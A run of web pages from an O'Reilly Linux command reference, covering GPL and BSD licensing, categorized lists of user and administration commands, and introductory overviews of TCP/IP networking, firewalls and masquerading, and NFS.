The small chapters immediately following Chapter 3, "Linux Commands" help you get your system set up. Since most users do not want to completely abandon other operating systems (whether a Microsoft Windows system, OS/2, or some Unix flavor), Linux often resides on the same computer as other systems. The user can boot the system he needs for a particular job. Chapter 4, "Boot Methods", lists the commonly used booting options on Intel systems, including LILO (Linux Loader) and Loadlin. Chapter 5, "Red Hat and Debian Package Managers", covers the Red Hat package manager (rpm), which is supported by both the Red Hat and the SuSE distributions, and the Debian package manager (dpkg). Package managers are crucial for installing and updating software; they make sure you have all the files you need in the proper versions.

All commands are interpreted by the shell. The shell is simply a program that accepts commands from the user and executes them. Different shells sometimes use slightly different syntax to mean the same thing. Under Linux, two popular shells are bash and tcsh, and they differ in subtle ways. (One of the nice things about Linux, and other Unix systems is that you have a variety of shells to choose from, each with strengths and weaknesses.) We offer several chapters on shells. You may decide to read these after you've used Linux for a while, because they mostly cover powerful, advanced features that you'll want when you're a steady user.

In order to get real work done, you'll have to learn some big, comprehensive utilities: notably an editor and some scripting tools. Two major editors are used on Linux: vi and Emacs. Both have chapters in this book. Following the editors come two chapters on classic Unix tools for manipulating text files on a line-by-line basis: sed and gawk (the GNU version of the traditional awk). O'Reilly also has a separate book about each of these topics that you may find valuable, because none is completely intuitive upon first use. (Emacs does have an excellent built-in tutorial, though; to invoke it, press Ctrl-H followed by t for "tutorial.")

CVS (Concurrent Versions System) and RCS (Revision Control System) manage files so you can retrieve old versions and maintain different versions simultaneously. Originally used by programmers who have complicated requirements for building and maintaining applications, these tools have turned out to be valuable for anyone who maintains files of any type, particularly when coordinating a team of people. CVS is a layer on top of RCS that makes it easier for multiple people to edit a file simultaneously. Chapter 14, "CVS and RCS", presents CVS and RCS commands.

Every distribution of Linux is slightly different, but you'll find that the commands we document are what you use most of the time and that they work the same on all distributions. Basic commands, programming utilities, system administration, and network administration are all covered here. But some areas were so big that we had to leave them out. The many applications that depend on the X Window System didn't make the cut. Nor did TeX (a text-processing tool used extensively in academia and by Linux users in general), or the many useful programming languages like Perl, Tcl/Tk, and Python with which users vastly expand the capabilities of their systems. These subjects would stretch the book out of its binding.

Our goal in producing this book is to provide convenience, and that means keeping it small. It certainly doesn't have everything the manual pages have. But you'll find that it has what you need 95% of the time.

Previous | Home | Next
1.3. Commands on Linux | Book Index | 1.5. Sources and Licenses
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sources and Licenses (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

1.5. Sources and Licenses

When you get Linux, you also get the source code. The same goes for all the utilities on Linux (unless your vendor offered a commercial application or library as a special enhancement). You may never bother looking at the source code, but it's key to Linux's strength. The source code has to be provided by the vendor, under the Linux license, and it permits those who are competent at such things to fix bugs, provide advice about the system's functioning, and submit improvements that benefit all of us. The license is the well-known General Public License, also known as the GPL or copyleft, invented and popularized by the Free Software Foundation.

The FSF, founded by Richard Stallman, is a phenomenon that many people would believe to be impossible if it did not exist. (The same goes for Linux, in fact -- 10 years ago, who would have imagined a robust operating system developed by collaborators over the Internet and made freely redistributable?) One of the most popular editors on Unix, GNU Emacs, comes from the FSF. So do gcc and g++ (C and C++ compilers), which for a while used to set the standard for optimization and fast code. One of the largest projects within GNU is the GNOME desktop, which already encompasses several useful general-purpose libraries, window managers, and applications. The GNOME developers have big plans for providing an environment that integrates not only the applications on each user's system but also the services provided throughout a whole organization.

Dedicated to the sharing of software, the FSF provides all its code and documentation on the Internet and allows anyone with a whim for enhancements to alter the source code. One of its projects is the Debian distribution of Linux.

In order to prevent hoarding, the FSF requires that the source code for all enhancements be distributed under the same GPL that it uses. This encourages individuals or companies to make improvements and share them with others. The only thing someone cannot do is add enhancements and then try to sell the product as commercial software -- that is, to withhold the source code. That would be taking advantage of the FSF and the users. You can find the GPL in any software covered by that license and online at http://www.gnu.org/copyleft/gpl.html.

As we said earlier, many tools on Linux come from BSD instead of GNU. BSD is also free software. The license is significantly different, but that doesn't have to concern you as a user. The effect of the difference is that companies are permitted to incorporate the software into their proprietary products, a practice that is severely limited by the GNU license.

Previous | Home | Next
1.4. What This Book Offers | Book Index | 1.6. Beginner's Guide
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Beginner's Guide (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

1.6. Beginner's Guide

If you're just beginning to work on a Linux system, the abundance of commands might prove daunting. To help orient you, the following lists present a sampling of commands on various topics.

1.6.1. Communication

ftp | File Transfer Protocol.
login | Sign on.
rlogin | Sign on to remote system.
rsh | Run shell or single command on remote system.
talk | Exchange messages interactively with other terminals.
telnet | Connect to another system.
tftp | Trivial file transfer protocol.
uudecode | Decode file prepared for mailing by uuencode.
uuencode | Encode file containing binary characters for mailing.
vacation | Respond to mail automatically.

1.6.2. Comparisons

cmp | Compare two files, byte by byte.
comm | Compare items in two sorted files.
diff | Compare two files, line by line.
diff3 | Compare three files.

1.6.3. File Management

cat | Concatenate files or display them.
chfn | Change user information for finger, email, etc.
cksum | Compute checksum.
chmod | Change access modes on files.
chsh | Change login shell.
cp | Copy files.
csplit | Break files at specific locations.
dd | Copy files in raw disk form.
file | Determine a file's type.
head | Show the first few lines of a file.
less | Display files by screenful.
ln | Create filename aliases.
ls | List files or directories.
merge | Merge changes from different files.
mkdir | Create a directory.
more | Display files by screenful.
mv | Move or rename files or directories.
newgrp | Change current group.
pwd | Print working directory.
rcp | Copy files to remote system.
rm | Remove files.
rmdir | Remove directories.
split | Split files evenly.
tail | Show the last few lines of a file.
wc | Count lines, words, and characters.

1.6.4. Printing

lpq | Show status of print jobs.
lpr | Send to the printer.
lprm | Remove print job.
lpstat | Get printer status.
pr | Format and paginate for printing.

1.6.5. Programming

ar | Create and update library files.
as | Generate object file.
bison | Generate parsing tables.
cpp | Preprocess C code.
flex | Lexical analyzer.
g++ | GNU C++ compiler.
gcc | GNU C compiler.
ld | Link editor.
m4 | Macro processor.
make | Create programs.
ranlib | Regenerate archive symbol table.
rpcgen | Translate RPC to C code.
yacc | Generate parsing tables.

1.6.6. Program Maintenance

cvs | Manage different versions (revisions) of source files.
etags | Generate symbol list for use with the Emacs editor.
gctags | Generate symbol list for use with the vi editor.
gdb | GNU debugger.
gprof | Display object file's profile data.
imake | Generate makefiles for use with make.
make | Maintain, update, and regenerate related programs and files.
nm | Display object file's symbol table.
patch | Apply patches to source code.
rcs | Manage different versions (revisions) of source files.
size | Print the size of an object file in bytes.
strace | Trace system calls and signals.
strip | Strip symbols from an object file.

1.6.7. Searching

apropos | Search manpages for topic.
egrep | Extended version of grep.
fgrep | Search files for literal words.
find | Search the system for filenames.
grep | Search files for text patterns.
strings | Search binary files for text patterns.
whereis | Find command.

1.6.8. Shell Programming

echo | Repeat command-line arguments on the output.
expr | Perform arithmetic and comparisons.
printf | Format and print command-line arguments.
sleep | Pause during processing.
test | Test a condition.

1.6.9. Storage

bzip2 | Compress files to free up space.
cpio | Create and unpack file archives.
gunzip | Expand compressed (.gz and .Z) files (preferred).
gzip | Compress files to free up space.
shar | Create shell archive.
tar | Copy files to or restore files from an archive medium.
zcat | Display contents of compressed files.

1.6.10. System Status

at | Execute commands later.
atq | Show jobs queued by at.
atrm | Remove job queued by at.
chgrp | Change file group.
chown | Change file owner.
crontab | Automate commands.
date | Display or set date.
df | Show free disk space.
du | Show disk usage.
env | Show environment variables.
finger | Display information about users.
kill | Terminate a running command.
printenv | Show environment variables.
ps | Show processes.
stty | Set or display terminal settings.
who | Show who is logged on.

1.6.11. Text Processing

col | Process control characters.
cut | Select columns for display.
ex | Line editor underlying vi.
expand | Convert tabs to spaces.
fmt | Produce roughly uniform line lengths.
fold | Break lines.
gawk | Process lines or records one by one.
ghostscript | Display PostScript or PDF file.
groff | Format troff input.
ispell | Interactively check spelling.
join | Merge different columns into a database.
paste | Merge columns or switch order.
rev | Print lines in reverse.
sed | Noninteractive text editor.
sort | Sort or merge files.
tac | Print lines in reverse.
tr | Translate (redefine) characters.
uniq | Find repeated or unique lines in a file.
vi | Visual text editor.
xargs | Process many arguments in manageable portions.

1.6.12. Miscellaneous

banner | Make posters from words.
bc | Arbitrary precision calculator.
cal | Display calendar.
clear | Clear the screen.
man | Get information on a command.
nice | Reduce a job's priority.
nohup | Preserve a running job after logging out.
passwd | Set your login password.
script | Produce a transcript of your login session.
su | Become a superuser.
tee | Simultaneously store output in file and send to screen.
which | Print pathname of a command.
Previous | Home | Next
1.5. Sources and Licenses | Book Index | 2. System and Network Administration Overview
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


System and Network Administration Overview (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 2. System and Network Administration Overview

Contents:

Common Commands
Overview of Networking
Overview of TCP/IP
Overview of Firewalls and Masquerading
Overview of NFS
Overview of NIS
Administering NIS
RPC and XDR

2.1. Common Commands

Following are lists of commonly used system administration commands.

2.1.1. Clocks

hwclock | Manage hardware clock.
netdate | Set clock according to host's clock.
rdate | Manage time server.
zdump | Print list of time zones.
zic | Create time conversion information files.

2.1.2. Daemons

apmd | Advanced Power Management daemon.
bootpd | Internet Boot Protocol daemon.
fingerd | Finger daemon.
ftpd | File Transfer Protocol daemon.
gated | Manage routing tables between networks.
identd | Identify user running TCP/IP process.
imapd | IMAP mailbox server daemon.
inetd | Internet services daemon.
kerneld | Provide automatic kernel module loading.
klogd | Manage syslogd.
lpd | Printer daemon.
mountd | NFS mount request server.
named | Internet domain name server.
nfsd | NFS daemon.
pop2d | POP server.
pop3d | POP server.
powerd | Monitor UPS connection.
pppd | Maintain Point-to-Point Protocol (PPP) network connections.
rdistd | Remote file distribution server.
rexecd | Remote execution server.
rlogind | rlogin server.
routed | Routing daemon.
rshd | Remote shell server.
rwhod | Remote who server.
syslogd | System logging daemon.
talkd | Talk daemon.
tcpd | TCP network daemon.
tftpd | Trivial File Transfer Protocol daemon.
update | Buffer flush daemon.
ypbind | NIS binder process.
yppasswdd | NIS password modification server.
ypserv | NIS server process.

2.1.3. Hardware

agetty | Start user session at terminal.
arp | Manage the ARP cache.
cardctl | Control PCMCIA cards.
cardmgr | PCMCIA card manager daemon.
cfdisk | Maintain disk partitions (graphical interface).
fdisk | Maintain disk partitions.
getty | Start user session at terminal.
kbdrate | Manage the keyboard's repeat rate.
ramsize | Print information about RAM disk.
setserial | Set serial port information.
slattach | Attach serial lines as network interfaces.

2.1.4. Host Information

arch | Print machine architecture.
dnsdomainname | Print DNS domain name.
domainname | Print NIS domain name.
free | Print memory usage.
host | Print host and zone information.
hostname | Print or set hostname.
nslookup | Query Internet domain name servers.
uname | Print host information.

2.1.5. Installation

cpio | Copy file archives.
install | Copy files into locations providing user access and set permissions.
rdist | Distribute files to remote systems.
tar | Copy files to or restore files from an archive medium.

2.1.6. Mail

fetchmail | Retrieve mail from remote servers.
formail | Convert input to mail format.
mailq | Print a summary of the mail queue.
makemap | Update sendmail's database maps.
rmail | Handle uucp mail.
sendmail | Send and receive mail.

2.1.7. Managing Filesystems

To Unix systems, a filesystem is some device (such as a hard drive, floppy, or CD-ROM) that is formatted to store files. Filesystems can be found on hard drives, floppies, CD-ROMs, or other storage media that permit random access.

The exact format and means by which the files are stored are not important; the system provides a common interface for all filesystem types that it recognizes. Under Linux, filesystem types include the Second Extended Filesystem, or ext2fs, which you probably use to store Linux files. The second extended filesystem was developed primarily for Linux and supports 256-character filenames, 4-terabyte maximum filesystem size, and other useful features. (It is "second" because it is the successor to the extended filesystem type.) Other common filesystem types include the MS-DOS filesystem, which allows files on MS-DOS partitions and floppies to be accessed under Linux, and the ISO 9660 filesystem used by CD-ROMs.

debugfs | Debug extfs filesystem.
dosfsck | Check and repair a DOS or VFAT filesystem.
dumpe2fs | Print information about superblock and blocks group.
e2fsck | Check and repair a second extended filesystem.
fdformat | Format floppy disk.
fsck | Check and repair filesystem.
fsck.minix | Check and repair a MINIX filesystem.
fuser | List processes using a filesystem.
mke2fs | Make new second extended filesystem.
mkfs | Make new filesystem.
mkfs.ext2 | Another name for mke2fs.
mkfs.minix | Make new MINIX filesystem.
mklost+found | Make lost+found directory.
mkraid | Set up a RAID device.
mkswap | Designate swap space.
mount | Mount a filesystem.
raidstart | Activate a RAID device.
raidstop | Turn off a RAID device.
rdev | Describe or change values for root filesystem.
rootflags | List or set flags to use in mounting root filesystem.
showmount | List exported directories.
swapdev | Display or set swap device information.
swapoff | Cease using device for swapping.
swapon | Begin using device for swapping.
sync | Write filesystem buffers to disk.
tune2fs | Manage second extended filesystem.
umount | Unmount a filesystem.

2.1.8. Managing the Kernel

depmod | Create module dependency listing.
insmod | Install new kernel module.
lsmod | List kernel modules.
modprobe | Load new module and its dependent modules.
rmmod | Remove module.

2.1.9. Networking

dip | Establish dial-up IP connections.
gdc | Administer gated routing daemon.
ifconfig | Manage network interfaces.
ipchains | Administer firewall facilities (2.2 kernel).
iptables | Administer firewall facilities (2.4 kernel).
named | Translate between domain names and IP addresses.
netstat | Print network status.
portmap | Map daemons to ports.
rarp | Manage RARP table.
route | Manage routing tables.
routed | Dynamically keep routing tables up-to-date.
rpcinfo | Report RPC information.
ruptime | Check how long remote system has been up.
rwho | Show who is logged in to remote system.
systat | Show status of remote systems.
traceroute | Trace network route to remote host.

2.1.10. NIS Administration

domainname | Set or display name of current NIS domain.
makedbm | Rebuild NIS databases.
ypbind | Connect to NIS server.
ypcat | Print values in NIS database.
ypchfn | Change user information in NIS database for finger, email, etc.
ypchsh | Change user login shell in NIS database.
ypinit | Build new NIS databases.
ypmatch | Print value of one or more NIS keys.
yppasswd | Change user password in NIS database.
yppasswdd | Update NIS database in response to yppasswd.
yppoll | Determine version of NIS map at NIS server.
yppush | Propagate NIS map.
ypserv | NIS server daemon.
ypset | Point ypbind at a specific server.
ypwhich | Display name of NIS server or map master.
ypxfr | Transfer NIS database from server to local host.

2.1.11. Printing

lpc | Control line printer.
tunelp | Tune the printer parameters.

2.1.12. Security and System Integrity

badblocks | Search for bad blocks.
chroot | Change root directory.

2.1.13. Starting and Stopping the System

bootpd | Internet Boot Protocol daemon.
bootpgw | Internet Boot Protocol gateway.
bootptest | Test bootpd.
halt | Stop or shut down system.
init | Change runlevel.
reboot | Shut down, then reboot system.
runlevel | Print system runlevel.
shutdown | Shut down system.
telinit | Change the current runlevel.
uptime | Display uptimes of local machines.

2.1.14. System Activity and Process Management

A number of additional commands in Chapter 3, "Linux Commands", are particularly useful in controlling processes, including kill, killall, killall5, pidof, ps, and who.

fuser | Identify processes using file or filesystem.
psupdate | Update /boot/psupdate.
renice | Change the priority of running processes.
top | Show most CPU-intensive processes.

2.1.15. Users

chpasswd | Change multiple passwords.
groupadd | Add a new group.
groupdel | Delete a group
groupmod | Modify groups.
grpck | Check the integrity of group system files.
grpconv | Convert group file to shadow group file.
lastlog | Generate report of last user login times.
newusers | Add new users in a batch.
pwck | Check the integrity of password system files.
pwconv | Convert password file to shadow passwords.
rusers | Print who-style information on remote machines.
rwall | Print a message to remote users.
useradd | Add a new user.
userdel | Delete a user and her home directory.
usermod | Modify a user's information.
w | List logged-in users.
wall | Write to all users.
whoami | Show how you are currently logged in.

2.1.16. Miscellaneous

cron | Schedule commands for specific times.
dmesg | Print bootup messages after the system is up.
ldconfig | Update library links and do caching.
logger | Send messages to the system logger.
logrotate | Compress and rotate system logs.
rstat | Display host's system status.
run-parts | Run all scripts in a directory.
Previous | Home | Next
1.6. Beginner's Guide | Book Index | 2.2. Overview of Networking
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview of Networking (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.2. Overview of Networking

Networks connect computers so that the different systems can share information. For users and system administrators, Unix systems have traditionally provided a set of simple but valuable network services, which let you check whether systems are running, refer to files residing on remote systems, communicate via electronic mail, and so on.

For most commands to work over a network, each system must be continuously running a server process in the background, silently waiting to handle the user's request. This kind of process is called a daemon; common examples, on which you rely for the most basic functions of your Linux system, are named (which translates numeric IP addresses into the alphanumeric names that humans are so fond of), lpd (which sends documents to a printer, possibly over a network), and ftpd (which allows you to connect to another machine via ftp).

Most Unix networking commands are based on Internet protocols. These are standardized ways of communicating across a network on hierarchical layers. The protocols range from addressing and packet routing at a relatively low layer to finding users and executing user commands at a higher layer.

The basic user commands that most systems support over Internet protocols are generally called TCP/IP commands, named after the two most common protocols. You can use all of these commands to communicate with other Unix systems besides Linux systems. Many can also be used to communicate with non-Unix systems, because a wide variety of systems support TCP/IP.

This section also covers NFS and NIS, which allow for transparent file and information sharing across networks, and sendmail.

2.2.1. TCP/IP Administration

ftpd | Server for file transfers.
gated | Manage routing tables between networks.
host | Print host and zone information.
ifconfig | Configure network interface parameters.
named | Translate between domain names and IP addresses.
netstat | Print network status.
nslookup | Query domain name servers.
ping | Check that a remote host is online and responding.
pppd | Create PPP serial connection.
rdate | Notify time server that date has changed.
route | Manage routing tables.
routed | Dynamically keep routing tables up to date.
slattach | Attach serial lines as network interfaces.
telnetd | Server for Telnet sessions from remote hosts.
tftpd | Server for restricted set of file transfers.

2.2.2. NFS and NIS Administration

domainname | Set or display name of current NIS domain.
makedbm | Rebuild NIS databases.
portmap | DARPA port to RPC program number mapper.
rpcinfo | Report RPC information.
ypbind | Connect to NIS server.
ypcat | Print values in NIS database.
ypinit | Build new NIS databases.
ypmatch | Print value of one or more NIS keys.
yppasswd | Change user password in NIS database.
yppasswdd | Update NIS database in response to yppasswd.
yppoll | Determine version of NIS map at NIS server.
yppush | Propagate NIS map.
ypserv | NIS server daemon.
ypset | Point ypbind at a specific server.
ypwhich | Display name of NIS server or map master.
ypxfr | Transfer NIS database from server to local host.

Previous | Home | Next
2. System and Network Administration Overview | Book Index | 2.3. Overview of TCP/IP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview of TCP/IP (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.3. Overview of TCP/IP

TCP/IP is a set of communications protocols that define how different types of computers talk to one another. It's named for its two most common protocols, the Transmission Control Protocol and the Internet Protocol. The Internet Protocol moves data between hosts: it splits data into packets, which are then forwarded to machines via the network. The Transmission Control Protocol ensures that the packets in a message are reassembled in the correct order at their final destination and that any missing datagrams are resent until they are correctly received. Other protocols provided as part of TCP/IP include:

Address Resolution Protocol (ARP)

Translates between Internet and local hardware addresses (Ethernet et al.)

Internet Control Message Protocol (ICMP)

Error-message and control protocol

Point-to-Point Protocol (PPP)

Enables TCP/IP (and other protocols) to be carried across both synchronous and asynchronous point-to-point serial links

Reverse Address Resolution Protocol (RARP)

Translates between local hardware and Internet addresses (opposite of ARP)

Serial Line Internet Protocol (SLIP)

Carries IP over serial lines

Simple Mail Transport Protocol (SMTP)

Used by sendmail to send mail via TCP/IP

Simple Network Management Protocol (SNMP)

Performs distributed network management functions via TCP/IP

User Datagram Protocol (UDP)

Provides data transfer, without the reliable delivery capabilities of TCP

Background about TCP/IP is described in the three-volume set Internetworking with TCP/IP by Douglas R. Comer, published by Prentice-Hall. The commands in this chapter and the next are described in more detail in TCP/IP Network Administration, 2d ed., by Craig Hunt and Linux Network Administrator's Guide by Olaf Kirch and Terry Dawson, both published by O'Reilly & Associates.

In the architecture of TCP/IP protocols, data is passed down the stack (toward the Network Access Layer) when it is being sent to the network and up the stack when it is being received from the network (see Figure 2-1).

Figure 2-1. Layers in the TCP/IP protocol architecture

2.3.1. IP Addresses

The IP (Internet) address is a 32-bit binary number that differentiates your machine from all others on the network. Each machine must have a unique IP address. An IP address contains two parts: a network part and a host part. The number of address bits used to identify the network and host differ according to the class of the address. There are three main address classes: A, B, and C (see Figure 2-2). The leftmost bits indicate what class each address is.

Figure 2-2. IP address structure

A more recent standard called Classless Inter-Domain Routing (CIDR) extends the class system's idea of using initial bits to identify where packets should be routed. Under CIDR, a new domain can be created with any number of fixed leftmost bits (not just a multiple of 8).

Another new standard called IPv6 changes the method of addressing and increases the number of fields, but it will be a while before anyone uses it.

If you wish to connect to the Internet, contact the Network Information Center and have them assign you a network address. If you are not connecting to an outside network, you can choose your own network address, as long as it conforms to the IP address syntax. You should use special reserved addresses provided for in RFC 1597, which lists IP network numbers for private networks that don't have to be registered with the IANA (Internet Assigned Numbers Authority). An IP address is different from an Ethernet address, which is assigned by the manufacturer of the physical Ethernet card.

2.3.2. Gateways and Routing

Gateways are hosts responsible for exchanging routing information and forwarding data from one network to another. Each portion of a network that is under a separate local administration is called an autonomous system (AS). Autonomous systems connect to each other via exterior gateways. An AS also may contain its own system of networks, linked via interior gateways.

2.3.2.1. Gateway protocols

Gateway protocols include:

EGP (Exterior Gateway Protocol)
BGP (Border Gateway Protocol)

Protocols for exterior gateways to exchange information

RIP (Routing Information Protocol)

Interior gateway protocol; most popular for LANs

Hello Protocol
OSPF (Open Shortest Path First)

Interior gateway protocol

2.3.2.2. Routing daemons

gated and routed, the routing daemons, can be run on a host to make it function as a gateway. Only one of them can run on a host at any given time. gated is the gateway routing daemon and allows a host to function as both an exterior and interior gateway. It simplifies the routing configuration by combining the protocols RIP, Hello, BGP, EGP, and OSPF into a single package.

routed, a network routing daemon that uses RIP, allows a host to function as an interior gateway only. routed manages the Internet routing tables. For more details on gated and routed, see Chapter 3, "Linux Commands".

2.3.2.3. Routing tables

Routing tables provide information needed to route packets to their destinations. This information includes destination network, gateway to use, route status, and number of packets transmitted. Routing tables can be displayed with the netstat command.

2.3.3. Name Service

Each host on a network has a name that points to information about the host. Hostnames can be assigned to any device that has an IP address. Name service translates the hostnames (easy for people to remember) to IP addresses (the numbers the computer deals with).

2.3.3.1. DNS and BIND

The Domain Name System (DNS) is a distributed database of information about hosts on a network. Its structure is similar to that of the Unix filesystem -- an inverted tree, with the root at the top. The branches of the tree are called domains (or subdomains) and correspond to IP addresses. The most popular implementation of DNS is the BIND (Berkeley Internet Name Domain) software.

DNS works as a client/server application. The resolver is the client, the software that asks questions about host information. The name server is the process that answers the questions. The server side of BIND is the named daemon. You can interactively query name servers for host information with the nslookup command. For more details on named and nslookup, see Chapter 3, "Linux Commands".

As the name server of its domain, your machine would be responsible for keeping (and providing on request) the names of the machines in its domain. Other name servers on the network would forward requests for these machines to it.

2.3.3.2. Domain names

The full domain name is the sequence of names, starting from the current domain and going back to the root, with a period separating the names. For instance, oreilly.com indicates the domain oreilly (for O'Reilly & Associates), which is under the domain com (for commercial). One machine under this domain is www.oreilly.com. Top-level domains include:

com

Commercial organizations

edu

Educational organizations

gov

Government organizations

mil

Military departments

net

Commercial Internet organizations, usually Internet service providers

org

Miscellaneous organizations

Countries also have top-level domains.

2.3.4. Configuring TCP/IP

2.3.4.1. ifconfig

The network interface represents the way that the networking software uses the hardware -- the driver, the IP address, and so forth. To configure a network interface, use the ifconfig command. With ifconfig, you can assign an address to a network interface, setting the netmask, broadcast address, and IP address at boot time. You can also set network interface parameters, including the use of ARP, the use of driver-dependent debugging code, the use of one-packet mode, and the address of the correspondent on the other end of a point-to-point link. For more information on ifconfig, see Chapter 3, "Linux Commands".

2.3.4.2. Serial-line communication

There are two protocols for serial-line communication: Serial Line IP (SLIP) and Point-to-Point Protocol (PPP). These protocols let computers transfer information using the serial port instead of a network card and a serial cable in place of an Ethernet cable.

Under Linux, the SLIP driver is installed in the kernel. To convert a serial line to SLIP mode, use the slattach program (details on slattach are available in Chapter 3, "Linux Commands"). Don't forget that after putting the line in SLIP mode, you still have to run ifconfig to configure the network interface. For example, if your machine is named tanuki and you have dialed in to ruby:

   # ifconfig s10 tanuki pointopoint ruby
   # route add ruby
   # route add default gw ruby

This configures the interface as a point-to-point link to ruby, adds the route to ruby, and makes it a default route, specifying ruby as the gateway.

PPP was intended to remedy some of SLIP's failings; it can hold packets from non-Internet protocols, it implements client authorization and error detection/correction, and it dynamically configures each network protocol that passes through it. Under Linux, PPP exists as a driver in the kernel and as the daemon pppd. For more information on pppd, see Chapter 3, "Linux Commands".

2.3.5. Troubleshooting TCP/IP

The following commands can be used to troubleshoot TCP/IP. For more details on these commands, see Chapter 3, "Linux Commands".

ifconfig

Provide information about the basic configuration of the network interface.

netstat

Display network status.

ping

Indicate whether a remote host can be reached.

nslookup

Query the DNS name service.

traceroute

Trace route taken by packets to reach network host.

Previous | Home | Next
2.2. Overview of Networking | Book Index | 2.4. Overview of Firewalls and Masquerading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview of Firewalls and Masquerading (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.4. Overview of Firewalls and Masquerading

A firewall computer is a secure system that sits between an internal network and an external network (i.e., the Internet). It is configured with a set of rules that it uses to determine what traffic is allowed to pass and what traffic is barred. While a firewall is generally intended to protect the network from malicious or even accidentally harmful traffic from the outside, it can also be configured to monitor traffic leaving the network. As the sole entry point into the system, the firewall makes it easier to construct defenses and monitor activity.

The firewall can also be set up to present a single IP address to the outside world, even though it may use multiple IP addresses internally. This is known as masquerading. Masquerading can act as additional protection hiding the very existence of a network. It also saves the trouble and expense of obtaining multiple IP addresses.

NOTE

The discussion of iptables applies to Version 2.4 Linux kernels. As this book was being written, both iptables and the 2.4 kernel were still in development. The final product may differ slightly from what we describe here. See the O'Reilly book Linux Network Administrator's Guide by Olaf Kirch and Terry Dawson or the the "Linux IPTABLES-HOWTO" for more information. This HOWTO, and a myriad of others, can be obtained from the the Linux Documentation Project web sites (see the Preface).

IP firewalling and masquerading are implemented in Linux Version 2.2 with the ipchains utility and in Linux Version 2.4 with the iptables facility. The 2.0 kernels used a command called ipfwadm, which is included in the command section for older systems but will not be covered here. The two newer commands are very similar, but some of the organization of the rules they use is different. The firewalling facilities built into the 2.4 kernel are also designed to be extensible. If there is some function missing from the implementation, you could add it. See the "Linux netfilter Hacking HOWTO" for details on how to do this.

Most distributions come with all the firewall support already built into the kernel, but if it is not built into yours, you need to compile firewall support into the kernel by running make config with the 2.2 kernel and selecting all of the following networking options:

  • Network firewalls

  • TCP/IP networking

  • IP: firewalling

If you want to support a transparent proxy service on your firewall, select the following option:

  • IP: transparent proxy support

If you want your firewall to support masquerading, select the following options as well:

  • IP: masquerading

  • IP: ICMP masquerading

With the 2.4 kernel, you will need to select these options:

  • Network packet filtering (replaces ipchains)

  • IP tables support (required for filtering/masq/NAT)

  • Packet filtering

There are several extended target and matching rule modules you may wish to compile as well. The behavior of those extension modules is described under the iptables command. If you have an existing firewall designed for the 2.2 kernel, or the 2.0 kernel, you can compile support for these older-style commands and use them with your new kernel instead of the newer iptables style of netfiltering.

The firewalling facility provides built-in rule sets, or chains, against which each network packet is checked. In the 2.4 kernel, these chains are also organized into tables that separate out filtering functions from masquerading and packet mangling functions. In either kernel, if a match is found, the counters on that rule are incremented and any target for that rule is applied. A target might accept, reject, or masquerade a packet or even pass it along to another chain for processing. Details on the chains provided in both iptables and ipchains can be found under the description of the appropriate command.

In addition to these chains, you can create your own user-defined chains. You might want a special chain for your PPP interfaces or for packets from a particular site. To call a user-defined chain, you just make it the target for a match.

It is possible to make it through a chain without matching any rules that have a target. If no rule matches the packet in a user-defined chain, control returns to the chain from which it was called, and the next rule in that chain is checked. If no rule matches the packet in a built-in chain a default policy for that chain is used. The default policy can be any of the special targets that determine what is done with a packet. The valid targets for each command are detailed in the commands section.

In the 2.2 kernel, you use the ipchains command to define the rules. Once you have the rules defined, you can use ipchains-save to create a file with all the rule definitions and ipchains-restore to restore those definitions when you reboot. The equivalent 2.4 kernel command for defining rules is iptables. iptables-save and iptables-restore were not completed at the time of this writing but should work similarly to their ipchains counterparts.

For more information on the kinds of decisions you need to make and the considerations that go into defining the rules, see a general book on firewalls such as the O'Reilly book Building Internet Firewalls by D. Brent Chapman and Elizabeth D. Zwicky. For more details on ipchains or iptables, consult the Linux Network Administrator's Guide, 2d ed. by Olaf Kirch and Terry Dawson, or consult one of the relevant HOW-TOs, such as the "Linux IPCHAINS HOW-TO" or the "Linux IPTABLES HOW-TO."

Previous | Home | Next
2.3. Overview of TCP/IP | Book Index | 2.5. Overview of NFS
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview of NFS (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.5. Overview of NFS

The Network File System (NFS) is a distributed filesystem that allows users to mount remote filesystems as if they were local. NFS uses a client-server model, in which a server exports directories to be shared, and clients mount the directories to access the files in them. NFS eliminates the need to keep copies of files on several machines by letting the clients all share a single copy of a file on the server. NFS is an RPC-based application-level protocol. For more information on the architecture of network protocols, see Section 2.3, "Overview of TCP/IP" earlier in this chapter.

2.5.1. Administering NFS

Setting up NFS clients and servers involves starting the NFS daemons, exporting filesystems from the NFS servers, and mounting them on the clients. The /etc/exports file is the NFS server configuration file; it controls which files and directories are exported and what kinds of access are allowed. Names and addresses for clients receiving services are kept in the /etc/hosts file.

2.5.2. Daemons

NFS server daemons, called nfsd daemons, run on the server and accept RPC calls from clients. NFS servers also run the mountd daemon to handle mount requests. On the client, caching and buffering are handled by biod, the block I/O daemon. The portmap daemon maps RPC program numbers to the appropriate TCP/IP port numbers.

2.5.3. Exporting Filesystems

To set up an NFS server, first check that all the hosts that will mount your filesystem can reach your host. Next, edit the /etc/exports file to include the mount-point pathname of the filesystem to be exported. If you are running mountd, the files will be exported as the permissions in /etc/exports allow.

2.5.4. Mounting Filesystems

To enable an NFS client, mount a remote filesystem after NFS is started, either by using the mount command or by specifying default remote filesystems in /etc/fstab. A mount request calls the server's mountd daemon, which checks the access permissions of the client and returns a pointer to a filesystem. Once a directory is mounted, it remains attached to the local filesystem until it is dismounted with the umount command or until the local system is rebooted.

